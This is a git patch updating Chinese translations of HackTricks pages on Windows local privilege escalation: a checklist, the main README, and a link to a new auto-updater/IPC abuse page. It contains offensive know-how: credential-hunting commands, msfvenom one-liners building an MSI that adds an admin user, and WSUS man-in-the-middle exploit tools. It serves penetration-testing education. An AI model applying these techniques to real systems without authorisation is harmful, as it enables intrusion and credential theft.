From 3e2f2e25edc447411cd4a1857fde34ad0df95bf5 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 14:46:01 +0000 Subject: [PATCH] Translated ['src/windows-hardening/checklist-windows-privilege-escalatio --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 163 ++--- .../README.md | 617 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 123 ++++ 4 files changed, 520 insertions(+), 384 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index ebeb10f7c..658d49d6a 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# 检查清单 - 本地 Windows 权限提升 +# 检查表 - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [系统信息](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] 获取 [**系统信息**](windows-local-privilege-escalation/index.html#system-info) -- [ ] 使用脚本搜索 **内核** [**漏洞**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] 使用 **Google 搜索** 内核 **漏洞** -- [ ] 使用 **searchsploit 搜索** 内核 **漏洞** -- [ ] [**环境变量**](windows-local-privilege-escalation/index.html#environment) 中有趣的信息? -- [ ] [**PowerShell 历史**](windows-local-privilege-escalation/index.html#powershell-history) 中的密码? -- [ ] [**Internet 设置**](windows-local-privilege-escalation/index.html#internet-settings) 中有趣的信息? -- [ ] [**驱动器**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**WSUS 漏洞**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] 获取 [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] 搜索 **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] 使用 **Google to search** 查找 kernel **exploits** +- [ ] 使用 **searchsploit to search** 查找 kernel **exploits** +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) 中有有趣的信息吗? +- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) 中有密码吗? +- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) 中有有趣信息吗? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [日志/AV 枚举](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] 检查 [**审计**](windows-local-privilege-escalation/index.html#audit-settings) 和 [**WEF**](windows-local-privilege-escalation/index.html#wef) 设置 +- [ ] 检查 [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 和 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 设置 - [ ] 检查 [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] 检查 [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) 是否处于活动状态 -- [ ] [**LSA 保护**](windows-local-privilege-escalation/index.html#lsa-protection)? -- [ ] [**凭据保护**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**缓存凭据**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] 检查 [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 是否激活 +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? - [ ] 检查是否有任何 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**AppLocker 策略**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**用户权限**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] 检查 [**当前**] 用户 [**权限**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] 你是 [**任何特权组的成员**](windows-local-privilege-escalation/index.html#privileged-groups)吗? -- [ ] 检查你是否启用了 [这些令牌](windows-local-privilege-escalation/index.html#token-manipulation):**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**用户会话**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] 检查 [**用户主目录**](windows-local-privilege-escalation/index.html#home-folders)(访问?) -- [ ] 检查 [**密码策略**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] [**剪贴板**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) 中有什么? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] 检查 [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] 你是否为 [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] 检查你是否启用以下任何 token: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] 检查 [**users homes**](windows-local-privilege-escalation/index.html#home-folders)(访问?) +- [ ] 检查 [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] 剪贴板中有什么? [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [网络](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/index.html#network) -- [ ] 检查 **隐藏的本地服务** 是否限制外部访问 +- [ ] 检查 **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] 检查受限于外部的隐藏本地服务 -### [运行中的进程](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] 进程二进制文件 [**文件和文件夹权限**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**内存密码挖掘**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**不安全的 GUI 应用程序**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] 通过 `ProcDump.exe` 偷取 **有趣进程** 的凭据?(firefox, chrome 等 ...) +- [ ] 检查进程二进制的 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] 通过 `ProcDump.exe` 使用 **interesting processes** 窃取凭据?(firefox, chrome, etc ...) -### [服务](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [你能 **修改任何服务** 吗?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [你能 **修改** 任何 **服务** 执行的 **二进制文件** 吗?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [你能 **修改** 任何 **服务** 的 **注册表** 吗?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [你能利用任何 **未加引号的服务** 二进制 **路径** 吗?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**应用程序**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **写入** [**已安装应用程序的权限**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**启动应用程序**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **易受攻击的** [**驱动程序**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) -### [DLL 劫持](windows-local-privilege-escalation/index.html#path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] 你能 **在 PATH 中的任何文件夹中写入** 吗? -- [ ] 是否有任何已知的服务二进制文件 **尝试加载任何不存在的 DLL**? -- [ ] 你能 **在任何二进制文件夹中写入** 吗? +- [ ] 你可以在 PATH 的任何文件夹中写入吗? +- [ ] 是否存在任何已知服务二进制尝试加载不存在的 DLL? +- [ ] 你可以在任何 **binaries folder** 中写入吗? -### [网络](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] 枚举网络(共享、接口、路由、邻居等...) -- [ ] 特别关注在本地主机(127.0.0.1)上监听的网络服务 +- [ ] 枚举网络(shares, interfaces, routes, neighbours, ...) +- [ ] 特别关注监听在 localhost (127.0.0.1) 的网络服务 -### [Windows 凭据](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) 凭据 -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 中你可以使用的凭据? -- [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/index.html#wifi) 中的密码? -- [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有趣的信息? -- [ ] [**最近运行的命令**](windows-local-privilege-escalation/index.html#recently-run-commands) 中的密码? -- [ ] [**远程桌面凭据管理器**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 密码? -- [ ] [**AppCmd.exe** 存在](windows-local-privilege-escalation/index.html#appcmd-exe)吗?凭据? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)?DLL 侧加载? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 凭据 +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 中可用的凭据? +- [ ] 有趣的 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] 已保存的 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 密码? +- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有有趣信息? +- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) 中有密码? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 密码? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [文件和注册表(凭据)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**凭据**](windows-local-privilege-escalation/index.html#putty-creds) **和** [**SSH 主机密钥**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**注册表中的 SSH 密钥**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] [**无人值守文件**](windows-local-privilege-escalation/index.html#unattended-files) 中的密码? -- [ ] 任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份? -- [ ] [**云凭据**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 文件? -- [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/index.html#iis-web-config) 中的密码? -- [ ] [**Web 日志**](windows-local-privilege-escalation/index.html#logs) 中有趣的信息? -- [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/index.html#ask-for-credentials) 吗? -- [ ] [**回收站**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) 中有趣的文件? -- [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] [**浏览器数据**](windows-local-privilege-escalation/index.html#browsers-history) 中(数据库、历史记录、书签等)? -- [ ] [**通用密码搜索**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) 在文件和注册表中 -- [ ] [**工具**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) 自动搜索密码 +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) 中有密码? +- [ ] 是否有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] 有 **McAfee SiteList.xml** 文件吗?([**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)) +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] 在 [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) 中有密码? +- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) 中有有趣信息? +- [ ] 想要向用户 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 吗? +- [ ] 回收站中的有趣 [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] 其他包含凭据的 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] 浏览器数据中(dbs, history, bookmarks, ...)有内容? [**inside Browser data**](windows-local-privilege-escalation/index.html#browsers-history) +- [ ] 在文件和注册表中进行 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) +- [ ] 使用 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) 自动搜索密码 -### [泄露的处理程序](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] 你是否可以访问由管理员运行的任何进程的处理程序? +- [ ] 你是否可以访问由管理员运行的进程的任何句柄? -### [管道客户端冒充](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] 检查你是否可以利用它 +- [ ] 检查是否可以滥用它 {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 432cbf8ab..869add540 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,14 +1,14 @@ -# Windows Local Privilege Escalation +# Windows 本地权限提升 {{#include ../../banners/hacktricks-training.md}} -### **查找 Windows local privilege escalation vectors 的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **查找 Windows 本地权限提升 向量 的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Windows 基础理论 ### Access Tokens -**如果你不知道 Windows Access Tokens 是什么,请在继续之前阅读下面的页面:** +**如果你不知道 Windows Access Tokens 是什么,请在继续之前阅读以下页面:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**关于 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看下列页面:** +**有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**如果你不知道 Windows 中的 integrity levels 是什么,应该在继续之前阅读下面的页面:** +**如果你不知道 Windows 中的 Integrity Levels 是什么,你应该在继续之前阅读以下页面:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows 安全控制 -Windows 中存在多种情况可能会**阻止你枚举系统**、运行可执行文件,甚至**检测到你的活动**。在开始 privilege escalation 枚举之前,你应该**阅读**下面的**页面**并**枚举**所有这些**防御****机制**: +Windows 有多种机制可能会 **阻止你枚举系统**、运行可执行文件,甚至 **检测到你的活动**。在开始权限提升枚举之前,你应该 **阅读** 以下 **页面** 并 **枚举** 所有这些 **防御** **机制**: {{#ref}} @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### 版本 Exploits +### 版本利用 -This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **巨大的攻击面** that a Windows environment presents. +这个 [网站](https://msrc.microsoft.com/update-guide/vulnerability) 对于查找 Microsoft 安全漏洞的详细信息很有用。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 -**在系统上** +**On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 内嵌 watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 已内置 watson)_ -**本地(基于系统信息)** +**Locally with system information** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github 上的 exploits 仓库:** +**Github 上的 exploits 仓库:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for ### 环境 -是否有任何 credential/Juicy info 保存在 env variables 中? +任何 credential/Juicy info 保存在 env variables 中吗? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell 转录文件 -你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能 +你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell 管道执行的详细信息会被记录,涵盖已执行的命令、命令调用以及脚本的部分内容。然而,完整的执行细节和输出结果可能不会全部被捕获。 +记录了 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用以及脚本的部分内容。然而,完整的执行细节和输出结果可能无法全部捕获。 要启用此功能,请按照文档中 "Transcript files" 部分的说明操作,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 ```bash @@ -125,25 +125,25 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -要查看 Powershell 日志的最近 15 条事件,您可以执行: +要查看 Powershell 日志的最近 15 条事件,你可以执行: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -捕获脚本执行的完整活动与全部内容记录,确保每个代码块在运行时都被记录。该过程保留了每项活动的完整审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可以获得有关流程的详细洞见。 +捕获了script执行的完整活动和全部内容记录,确保每个 block of code 在运行时都被记录。此过程保留了每项活动的全面审计痕迹,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,能够提供对进程的详细洞察。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block 的日志事件可以在 Windows 事件查看器的路径找到: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -要查看最近 20 条事件,你可以使用: +Script Block 的日志事件可以在 Windows 事件查看器的路径:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +要查看最近的 20 条事件,您可以使用: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### 互联网设置 +### Internet 设置 ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -如果更新不是通过 http**S** 而是通过 http 请求,则可能导致系统被攻陷。 +如果更新不是通过 http**S** 而是通过 http 请求,可能导致系统被妥协。 -首先,在 cmd 中运行以下命令来检查网络是否使用 non-SSL 的 WSUS 更新: +首先在 cmd 中运行以下命令检查网络是否使用 non-SSL WSUS update: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -或者在 PowerShell 中执行以下命令: +或者在 PowerShell 中运行以下命令: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -如果你收到如下回复: +如果你收到类似下面这样的回复: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. +如果 `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` 或 `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` 等于 `1`。 -Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. +那么,**it is exploitable.** 如果最后一个注册表值等于 0,则 WSUS 条目将被忽略。 -In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. +为了利用这些漏洞,你可以使用诸如 [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus) 之类的工具——这些是用于在非 SSL WSUS 流量中注入“伪造”更新的 MiTM 武器化利用脚本。 Read the research here: @@ -194,14 +194,22 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/). Basically, this is the flaw that this bug exploits: -> 如果我们有权限修改本地用户代理(proxy),并且 Windows Updates 使用 Internet Explorer 设置中配置的代理,那么我们就有能力本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量,并以提升权限的用户在我们的资产上运行代码。 +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> 此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将该证书添加到当前用户的证书存储中,我们就能够拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 不使用类似 HSTS 的机制来实现对证书的首次信任验证。如果所呈现的证书被用户信任且具有正确的主机名,服务就会接受它。 +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +你可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦可用)来利用此漏洞。 + +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +许多企业 agent 暴露了 localhost IPC 接口和一个有特权的更新通道。如果可以将 enrollment 强制指向攻击者服务器,并且 updater 信任一个恶意根 CA 或签名检查薄弱,本地用户就可以投递一个恶意 MSI,由 SYSTEM 服务安装。基于 Netskope stAgentSvc 链(– CVE-2025-0309)的通用技术见: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp @@ -223,11 +231,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -如果你有一个 meterpreter 会话,你可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化此技术 +如果你有一个 meterpreter 会话,你可以使用模块 **`exploit/windows/local/always_install_elevated`** 自动化此技术 ### PowerUP -使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本写出一个预编译的 MSI 安装程序,会提示添加用户/组(因此你将需要 GIU access): +使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本输出一个预编译的 MSI 安装程序,提示添加用户/组(所以你将需要 GIU 访问): ``` Write-UserAddMSI ``` @@ -235,7 +243,7 @@ Write-UserAddMSI ### MSI Wrapper -阅读本教程以学习如何使用这些工具创建 MSI wrapper。注意,如果你**只是**想**执行** **command lines**,可以封装 